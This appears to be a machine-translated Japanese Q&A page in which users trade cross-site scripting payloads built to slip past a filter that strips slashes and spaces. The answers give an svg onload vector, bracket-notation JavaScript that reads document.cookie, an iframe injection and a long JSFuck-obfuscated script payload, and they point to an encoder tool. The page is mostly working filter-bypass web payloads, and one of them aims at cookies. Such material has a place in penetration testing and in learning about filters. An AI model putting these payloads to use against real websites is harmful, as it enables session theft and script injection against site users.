web-dev-qa-db-ja.com

スラッシュとスペースのない優れたXSSベクトルとは何ですか?

スラッシュもスペースも使用しないXSSベクトルが必要です。私は何百ものベクトルのリストを調べてきましたが、通常はそれらの2つのうちの1つを持っています。スペースはURLエンコードされ、スラッシュ以降は削除されます。

私は<script\src=*>などを試しましたが、私の理解からそれを機能させるには、スラッシュが必要です。

11
Michael Blake

スペースなし...スラッシュなし:

<svg•onload=alert(1)>

ここでどのように実行されるかを確認してください: http://jsfiddle.net/23sqP/3/

25
user36484

私の目の前に実際の脆弱性がないと、ベクトルを思いつくことは困難ですが、以前は、そのような問題に直面したときに、英数字以外の方法でそれを悪用してきました。 このブログ は、それがどのように行われるかについての優れた説明があります。これにはいくつかのベクトル pastie もあります。

スクリプトを実行する方法があると仮定しますが、実行するには正しいペイロードが必要です。上記のブログから:

JavaScriptにはプロパティにアクセスするための2つの異なる構文形式があるため、辞書のようなObjectメソッドにアクセスできます。

object.method(arguments) === object["method"](arguments)

したがって、このメソッドを使用すると、ペイロードは次のようになります。

this["alert"]("xss")

クッキーを引き出したい場合は、

this["alert"](this["document"]["cookie"])

これらの方法のいずれかを使用すると、期待どおりのコード実行が得られるはずです。これらにはスペースやスラッシュはありません-ある種の属性内にいる必要があるか、または<script>タグで囲む必要があると考えました。一部のブラウザーでは、<script>{your vector}<script>のようなものを試すことができ、それが機能する場合があります(私はIE少し前に私のためにそれが機能したことを覚えています)

編集:これが入力検証の脆弱性の概念実証にすぎない場合は、iFrameを埋め込むこともできます。繰り返しになりますが、ブラウザーによっては、iFrameは終了タグを必要としません。そのため、<iframe\src='www.google.com'>だけで十分です。

8

私はパーティーに少し遅れていることを知っていますが、別の効果的な方法があります。ペイロードをエンコードします。アラートをトリガーするサンプルペイロードは次のとおりです。

_<script>[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()</script>
_

Jsfiddleは here です。スペースなし、何もありません。ペイロードは、![]+()の6文字で構成されます。スペースは含まれていません。

このツール を使用してペイロードをエンコードできます。

4
Aaron Esau